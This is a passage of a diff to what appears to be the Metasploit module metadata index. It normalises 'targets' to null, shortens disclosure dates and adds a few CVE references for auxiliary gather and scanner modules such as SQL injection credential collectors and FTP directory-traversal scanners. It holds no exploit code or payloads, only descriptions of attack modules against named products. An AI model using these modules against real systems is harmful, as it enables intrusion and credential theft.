"5351", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/natpmp_external_address.rb", "is_install_path": true, @@ -10419,9 +9695,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/netgear_password_disclosure.rb", "is_install_path": true, @@ -10449,9 +9723,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-13 22:55:01 +0000", "path": "/modules/auxiliary/gather/nis_bootparamd_domain.rb", "is_install_path": true, @@ -10476,9 +9748,7 @@ "platform": "", "arch": "", "rport": "111", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-13 22:55:01 +0000", "path": "/modules/auxiliary/gather/nis_ypserv_map.rb", "is_install_path": true, @@ -10488,7 +9758,7 @@ "name": "OpenNMS Authenticated XXE", "full_name": "auxiliary/gather/opennms_xxe", "rank": 300, - "disclosure_date": "2015-01-08 00:00:00 -0600", + "disclosure_date": "2015-01-08", "type": "auxiliary", "author": [ "Stephen Breen ", @@ -10503,9 +9773,7 @@ "platform": "", "arch": "", "rport": "8980", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/opennms_xxe.rb", "is_install_path": true, @@ -10515,7 +9783,7 @@ "name": "QNAP NAS/NVR Administrator Hash Disclosure", "full_name": "auxiliary/gather/qnap_backtrace_admin_hash", "rank": 300, - "disclosure_date": "2017-01-31 00:00:00 -0600", + "disclosure_date": "2017-01-31", "type": "auxiliary", "author": [ "bashis", @@ -10532,9 +9800,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/qnap_backtrace_admin_hash.rb", "is_install_path": true, @@ -10544,7 +9810,7 @@ "name": "Mac OS X Safari file:// Redirection Sandbox Escape", "full_name": "auxiliary/gather/safari_file_url_navigation", "rank": 300, - "disclosure_date": "2014-01-16 00:00:00 -0600", + "disclosure_date": "2014-01-16", "type": "auxiliary", "author": [ "joev " @@ -10560,9 +9826,7 @@ "platform": "OSX", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/safari_file_url_navigation.rb", "is_install_path": true, @@ -10572,7 +9836,7 @@ "name": "Samsung Internet Browser SOP Bypass", "full_name": "auxiliary/gather/samsung_browser_sop_bypass", "rank": 300, - "disclosure_date": "2017-11-08 00:00:00 -0600", + "disclosure_date": "2017-11-08", "type": "auxiliary", "author": [ "Dhiraj Mishra", @@ -10589,9 +9853,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-16 22:10:02 +0000", "path": "/modules/auxiliary/gather/samsung_browser_sop_bypass.rb", "is_install_path": true, @@ -10615,9 +9877,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/search_email_collector.rb", "is_install_path": true, @@ -10641,9 +9901,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/searchengine_subdomains_collector.rb", "is_install_path": true, @@ -10667,9 +9925,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/shodan_honeyscore.rb", "is_install_path": true, @@ -10694,9 +9950,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/gather/shodan_search.rb", "is_install_path": true, @@ -10720,9 +9974,7 @@ "platform": "Windows", "arch": "", "rport": "6161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/snare_registry.rb", "is_install_path": true, @@ -10732,7 +9984,7 @@ "name": "Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation", "full_name": "auxiliary/gather/solarwinds_orion_sqli", "rank": 300, - "disclosure_date": "2015-02-24 00:00:00 -0600", + "disclosure_date": "2015-02-24", "type": "auxiliary", "author": [ "Brandon Perry" @@ -10746,9 +9998,7 @@ "platform": "", "arch": "", "rport": "8787", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/solarwinds_orion_sqli.rb", "is_install_path": true, @@ -10773,9 +10023,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-22 16:32:16 +0000", "path": "/modules/auxiliary/gather/ssllabs_scan.rb", "is_install_path": true, @@ -10799,9 +10047,7 @@ "platform": "", "arch": "", "rport": "10333", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-29 05:05:04 +0000", "path": "/modules/auxiliary/gather/teamtalk_creds.rb", "is_install_path": true, @@ -10811,7 +10057,7 @@ "name": "BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure", "full_name": "auxiliary/gather/trackit_sql_domain_creds", "rank": 300, - "disclosure_date": "2014-10-07 00:00:00 -0500", + "disclosure_date": "2014-10-07", "type": "auxiliary", "author": [ "Pedro Ribeiro " @@ -10828,9 +10074,7 @@ "platform": "", "arch": "", "rport": "9010", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/trackit_sql_domain_creds.rb", "is_install_path": true, @@ -10840,7 +10084,7 @@ "name": "vBulletin Password Collector via nodeid SQL Injection", "full_name": "auxiliary/gather/vbulletin_vote_sqli", "rank": 300, - "disclosure_date": "2013-03-24 00:00:00 -0500", + "disclosure_date": "2013-03-24", "type": "auxiliary", "author": [ "Orestis Kourides", @@ -10860,9 +10104,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/vbulletin_vote_sqli.rb", "is_install_path": true, @@ -10887,9 +10129,7 @@ "platform": "", "arch": "", "rport": "445", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/gather/windows_deployment_services_shares.rb", "is_install_path": true, @@ -10899,7 +10139,7 @@ "name": "WordPress All-in-One Migration Export", "full_name": "auxiliary/gather/wp_all_in_one_migration_export", "rank": 300, - "disclosure_date": "2015-03-19 00:00:00 -0500", + "disclosure_date": "2015-03-19", "type": "auxiliary", "author": [ "James Golovich", @@ -10915,9 +10155,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/wp_all_in_one_migration_export.rb", "is_install_path": true, @@ -10927,7 +10165,7 @@ "name": "WordPress Ultimate CSV Importer User Table Extract", "full_name": "auxiliary/gather/wp_ultimate_csv_importer_user_extract", "rank": 300, - "disclosure_date": "2015-02-02 00:00:00 -0600", + "disclosure_date": "2015-02-02", "type": "auxiliary", "author": [ "James Hooker", @@ -10942,9 +10180,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/wp_ultimate_csv_importer_user_extract.rb", "is_install_path": true, @@ -10971,9 +10207,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb", "is_install_path": true, @@ -10983,7 +10217,7 @@ "name": "XBMC Web Server Directory Traversal", "full_name": "auxiliary/gather/xbmc_traversal", "rank": 300, - "disclosure_date": "2012-11-04 00:00:00 -0500", + "disclosure_date": "2012-11-04", "type": "auxiliary", "author": [ "sinn3r ", @@ -11001,9 +10235,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/xbmc_traversal.rb", "is_install_path": true, @@ -11028,9 +10260,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/xerox_pwd_extract.rb", "is_install_path": true, @@ -11055,9 +10285,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/xerox_workcentre_5xxx_ldap.rb", "is_install_path": true, @@ -11067,7 +10295,7 @@ "name": "Zabbix toggle_ids SQL Injection", "full_name": "auxiliary/gather/zabbix_toggleids_sqli", "rank": 300, - "disclosure_date": "2016-08-11 00:00:00 -0500", + "disclosure_date": "2016-08-11", "type": "auxiliary", "author": [ "1n3 <1n3@hushmail.com>", @@ -11075,6 +10303,7 @@ ], "description": "This module will exploit a SQL injection in Zabbix 3.0.3 and\n likely prior in order to save the current usernames and\n password hashes from the database to a JSON file.", "references": [ + "CVE-2016-10134", "URL-http://seclists.org/fulldisclosure/2016/Aug/60" ], "is_server": false, @@ -11082,9 +10311,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-12 17:34:52 +0000", "path": "/modules/auxiliary/gather/zabbix_toggleids_sqli.rb", "is_install_path": true, @@ -11110,9 +10337,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/gather/zoomeye_search.rb", "is_install_path": true, @@ -11138,9 +10363,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/parser/unattend.rb", "is_install_path": true, @@ -11150,7 +10373,7 @@ "name": "Foxit Reader Authorization Bypass", "full_name": "auxiliary/pdf/foxit/authbypass", "rank": 300, - "disclosure_date": "2009-03-09 00:00:00 -0500", + "disclosure_date": "2009-03-09", "type": "auxiliary", "author": [ "MC ", @@ -11167,9 +10390,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/pdf/foxit/authbypass.rb", "is_install_path": true, @@ -11193,9 +10414,7 @@ "platform": "", "arch": "", "rport": "5009", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/acpp/login.rb", "is_install_path": true, @@ -11220,9 +10439,7 @@ "platform": "", "arch": "", "rport": "548", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/afp/afp_login.rb", "is_install_path": true, @@ -11246,9 +10463,7 @@ "platform": "", "arch": "", "rport": "548", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/afp/afp_server_info.rb", "is_install_path": true, @@ -11274,9 +10489,7 @@ "platform": "", "arch": "", "rport": "7777", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb", "is_install_path": true, @@ -11286,7 +10499,7 @@ "name": "Chargen Probe Utility", "full_name": "auxiliary/scanner/chargen/chargen_probe", "rank": 300, - "disclosure_date": "1996-02-08 00:00:00 -0600", + "disclosure_date": "1996-02-08", "type": "auxiliary", "author": [ "Matteo Cantoni " @@ -11301,9 +10514,7 @@ "platform": "", "arch": "", "rport": "19", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/chargen/chargen_probe.rb", "is_install_path": true, @@ -11327,9 +10538,7 @@ "platform": "", "arch": "", "rport": "5984", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-27 20:16:01 +0000", "path": "/modules/auxiliary/scanner/couchdb/couchdb_enum.rb", "is_install_path": true, @@ -11353,9 +10562,7 @@ "platform": "", "arch": "", "rport": "5984", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/couchdb/couchdb_login.rb", "is_install_path": true, @@ -11379,9 +10586,7 @@ "platform": "", "arch": "", "rport": "50000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/db2/db2_auth.rb", "is_install_path": true, @@ -11405,9 +10610,7 @@ "platform": "", "arch": "", "rport": "50000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/db2/db2_version.rb", "is_install_path": true, @@ -11431,9 +10634,7 @@ "platform": "", "arch": "", "rport": "523", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/db2/discovery.rb", "is_install_path": true, @@ -11457,9 +10658,7 @@ "platform": "", "arch": "", "rport": "135", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb", "is_install_path": true, @@ -11483,9 +10682,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-31 14:41:33 +0000", "path": "/modules/auxiliary/scanner/dcerpc/hidden.rb", "is_install_path": true, @@ -11509,9 +10706,7 @@ "platform": "", "arch": "", "rport": "135", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dcerpc/management.rb", "is_install_path": true, @@ -11535,9 +10730,7 @@ "platform": "", "arch": "", "rport": "135", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb", "is_install_path": true, @@ -11562,9 +10755,7 @@ "platform": "", "arch": "", "rport": "5040", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb", "is_install_path": true, @@ -11588,9 +10779,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dect/call_scanner.rb", "is_install_path": true, @@ -11614,9 +10803,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/dect/station_scanner.rb", "is_install_path": true, @@ -11640,9 +10827,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-31 04:53:14 +0000", "path": "/modules/auxiliary/scanner/discovery/arp_sweep.rb", "is_install_path": true, @@ -11666,9 +10851,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/discovery/empty_udp.rb", "is_install_path": true, @@ -11692,9 +10875,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_multicast_ping.rb", "is_install_path": true, @@ -11718,9 +10899,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-31 04:53:14 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb", "is_install_path": true, @@ -11745,9 +10924,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-31 04:53:14 +0000", "path": "/modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement.rb", "is_install_path": true, @@ -11771,9 +10948,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-31 14:32:31 +0000", "path": "/modules/auxiliary/scanner/discovery/udp_probe.rb", "is_install_path": true, @@ -11797,9 +10972,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/discovery/udp_sweep.rb", "is_install_path": true, @@ -11809,7 +10982,7 @@ "name": "Cisco DLSw Information Disclosure Scanner", "full_name": "auxiliary/scanner/dlsw/dlsw_leak_capture", "rank": 300, - "disclosure_date": "2014-11-17 00:00:00 -0600", + "disclosure_date": "2014-11-17", "type": "auxiliary", "author": [ "Tate Hansen", @@ -11826,9 +10999,7 @@ "platform": "", "arch": "", "rport": "2067", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb", "is_install_path": true, @@ -11853,9 +11024,7 @@ "platform": "", "arch": "", "rport": "53", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/dns/dns_amp.rb", "is_install_path": true, @@ -11879,9 +11048,7 @@ "platform": "", "arch": "", "rport": "9200", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/elasticsearch/indices_enum.rb", "is_install_path": true, @@ -11905,9 +11072,7 @@ "platform": "", "arch": "", "rport": "3000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/emc/alphastor_devicemanager.rb", "is_install_path": true, @@ -11931,9 +11096,7 @@ "platform": "", "arch": "", "rport": "3500", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/emc/alphastor_librarymanager.rb", "is_install_path": true, @@ -11943,7 +11106,7 @@ "name": "Etcd Keys API Information Gathering", "full_name": "auxiliary/scanner/etcd/open_key_scanner", "rank": 300, - "disclosure_date": "2018-03-16 00:00:00 -0500", + "disclosure_date": "2018-03-16", "type": "auxiliary", "author": [ "Giovanni Collazo ", @@ -11958,9 +11121,7 @@ "platform": "", "arch": "", "rport": "2379", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-04 10:52:47 +0000", "path": "/modules/auxiliary/scanner/etcd/open_key_scanner.rb", "is_install_path": true, @@ -11970,7 +11131,7 @@ "name": "Etcd Version Scanner", "full_name": "auxiliary/scanner/etcd/version", "rank": 300, - "disclosure_date": "2018-03-16 00:00:00 -0500", + "disclosure_date": "2018-03-16", "type": "auxiliary", "author": [ "Giovanni Collazo ", @@ -11985,9 +11146,7 @@ "platform": "", "arch": "", "rport": "2379", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-04 11:01:38 +0000", "path": "/modules/auxiliary/scanner/etcd/version.rb", "is_install_path": true, @@ -12011,9 +11170,7 @@ "platform": "", "arch": "", "rport": "79", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-20 15:48:00 +0000", "path": "/modules/auxiliary/scanner/finger/finger_users.rb", "is_install_path": true, @@ -12037,9 +11194,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ftp/anonymous.rb", "is_install_path": true, @@ -12049,7 +11204,7 @@ "name": "BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure", "full_name": "auxiliary/scanner/ftp/bison_ftp_traversal", "rank": 300, - "disclosure_date": "2015-09-28 00:00:00 -0500", + "disclosure_date": "2015-09-28", "type": "auxiliary", "author": [ "Jay Turla", @@ -12066,9 +11221,7 @@ "platform": "Windows", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb", "is_install_path": true, @@ -12078,7 +11231,7 @@ "name": "ColoradoFTP Server 1.3 Build 8 Directory Traversal Information Disclosure", "full_name": "auxiliary/scanner/ftp/colorado_ftp_traversal", "rank": 300, - "disclosure_date": "2016-08-11 00:00:00 -0500", + "disclosure_date": "2016-08-11", "type": "auxiliary", "author": [ "h00die ", @@ -12095,9 +11248,7 @@ "platform": "Windows", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-11 14:40:09 +0000", "path": "/modules/auxiliary/scanner/ftp/colorado_ftp_traversal.rb", "is_install_path": true, @@ -12107,7 +11258,7 @@ "name": "Easy File Sharing FTP Server 3.6 Directory Traversal", "full_name": "auxiliary/scanner/ftp/easy_file_sharing_ftp", "rank": 300, - "disclosure_date": "2017-03-07 00:00:00 -0600", + "disclosure_date": "2017-03-07", "type": "auxiliary", "author": [ "Ahmed Elhady Mohamed" @@ -12121,9 +11272,7 @@ "platform": "Windows", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb", "is_install_path": true, @@ -12147,9 +11296,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-12-14 08:05:57 +0000", "path": "/modules/auxiliary/scanner/ftp/ftp_login.rb", "is_install_path": true, @@ -12173,9 +11320,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ftp/ftp_version.rb", "is_install_path": true, @@ -12185,7 +11330,7 @@ "name": "Konica Minolta FTP Utility 1.00 Directory Traversal Information Disclosure", "full_name": "auxiliary/scanner/ftp/konica_ftp_traversal", "rank": 300, - "disclosure_date": "2015-09-22 00:00:00 -0500", + "disclosure_date": "2015-09-22", "type": "auxiliary", "author": [ "Jay Turla", @@ -12204,9 +11349,7 @@ "platform": "Windows", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ftp/konica_ftp_traversal.rb", "is_install_path": true, @@ -12216,7 +11359,7 @@ "name": "PCMan FTP Server 2.0.7 Directory Traversal Information Disclosure", "full_name": "auxiliary/scanner/ftp/pcman_ftp_traversal", "rank": 300, - "disclosure_date": "2015-09-28 00:00:00 -0500", + "disclosure_date": "2015-09-28", "type": "auxiliary", "author": [ "Jay Turla", @@ -12233,9 +11376,7 @@ "platform": "Windows", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/ftp/pcman_ftp_traversal.rb", "is_install_path": true, @@ -12245,7 +11386,7 @@ "name": "Titan FTP XCRC Directory Traversal Information Disclosure", "full_name": "auxiliary/scanner/ftp/titanftp_xcrc_traversal", "rank": 300, - "disclosure_date": "2010-06-15 00:00:00 -0500", + "disclosure_date": "2010-06-15", "type": "auxiliary", "author": [ "jduck ", @@ -12253,6 +11394,7 @@ ], "description": "This module exploits a directory traversal vulnerability in the XCRC command\n implemented in versions of Titan FTP up to and including 8.10.1125. By making\n sending multiple XCRC command, it is possible to disclose the contents of any\n file on the drive with a simple CRC \"brute force\" attack.\n\n Although the daemon runs with SYSTEM privileges, access is limited to files\n that reside on the same drive as the FTP server's root directory.", "references": [ + "CVE-2010-2426", "OSVDB-65533", "URL-http://seclists.org/bugtraq/2010/Jun/160" ], @@ -12261,9 +11403,7 @@ "platform": "", "arch": "", "rport": "21", - "targets": [ - - ], + "targets": null, "mod_time": "2018-07-08 19:00:11 +0000", "path": "/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb", "is_install_path": true, @@ -12287,9 +11427,7 @@ "platform": "", "arch": "", "rport": "70", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-20 09:44:07 +0000", "path": "/modules/auxiliary/scanner/gopher/gopher_gophermap.rb", "is_install_path": true, @@ -12313,9 +11451,7 @@ "platform": "", "arch": "", "rport": "1720", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/h323/h323_version.rb", "is_install_path": true, @@ -12325,7 +11461,7 @@ "name": "A10 Networks AX Loadbalancer Directory Traversal", "full_name": "auxiliary/scanner/http/a10networks_ax_directory_traversal", "rank": 300, - "disclosure_date": "2014-01-28 00:00:00 -0600", + "disclosure_date": "2014-01-28", "type": "auxiliary", "author": [ "xistence" @@ -12341,9 +11477,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb", "is_install_path": true, @@ -12353,7 +11487,7 @@ "name": "Accellion FTA 'statecode' Cookie Arbitrary File Read", "full_name": "auxiliary/scanner/http/accellion_fta_statecode_file_read", "rank": 300, - "disclosure_date": "2015-07-10 00:00:00 -0500", + "disclosure_date": "2015-07-10", "type": "auxiliary", "author": [ "hdm " @@ -12368,9 +11502,7 @@ "platform": "", "arch": "", "rport": "443", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb", "is_install_path": true, @@ -12398,9 +11530,7 @@ "platform": "", "arch": "", "rport": "8400", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-26 21:01:10 +0000", "path": "/modules/auxiliary/scanner/http/adobe_xml_inject.rb", "is_install_path": true, @@ -12424,9 +11554,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/advantech_webaccess_login.rb", "is_install_path": true, @@ -12436,7 +11564,7 @@ "name": "Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner", "full_name": "auxiliary/scanner/http/allegro_rompager_misfortune_cookie", "rank": 300, - "disclosure_date": "2014-12-17 00:00:00 -0600", + "disclosure_date": "2014-12-17", "type": "auxiliary", "author": [ "Jon Hart ", @@ -12454,9 +11582,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb", "is_install_path": true, @@ -12484,9 +11610,7 @@ "platform": "", "arch": "", "rport": "8161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/apache_activemq_source_disclosure.rb", "is_install_path": true, @@ -12513,9 +11637,7 @@ "platform": "", "arch": "", "rport": "8161", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/apache_activemq_traversal.rb", "is_install_path": true, @@ -12525,7 +11647,7 @@ "name": "Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner", "full_name": "auxiliary/scanner/http/apache_mod_cgi_bash_env", "rank": 300, - "disclosure_date": "2014-09-24 00:00:00 -0500", + "disclosure_date": "2014-09-24", "type": "auxiliary", "author": [ "Stephane Chazelas", @@ -12547,9 +11669,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb", "is_install_path": true, @@ -12559,7 +11679,7 @@ "name": "Apache Optionsbleed Scanner", "full_name": "auxiliary/scanner/http/apache_optionsbleed", "rank": 300, - "disclosure_date": "2017-09-18 00:00:00 -0500", + "disclosure_date": "2017-09-18", "type": "auxiliary", "author": [ "Hanno Böck", @@ -12578,9 +11698,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-13 16:06:11 +0000", "path": "/modules/auxiliary/scanner/http/apache_optionsbleed.rb", "is_install_path": true, @@ -12606,9 +11724,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/apache_userdir_enum.rb", "is_install_path": true, @@ -12633,9 +11749,7 @@ "platform": "", "arch": "", "rport": "7000", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/appletv_login.rb", "is_install_path": true, @@ -12666,9 +11780,7 @@ "platform": "", "arch": "", "rport": "8095", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/atlassian_crowd_fileaccess.rb", "is_install_path": true, @@ -12693,9 +11805,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/axis_local_file_include.rb", "is_install_path": true, @@ -12720,9 +11830,7 @@ "platform": "", "arch": "", "rport": "8080", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/axis_login.rb", "is_install_path": true, @@ -12746,9 +11854,7 @@ "platform": "", "arch": "", "rport": "80", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/auxiliary/scanner/http/backup_file.rb", "is_install_path": true, @@ -12758,7 +11864,7 @@ "name": "Barracuda Multiple Product \"locale\" Directory Traversal", "full_name": "auxiliary/scanner/http/barracuda_directory_traversal", "rank": 300, - 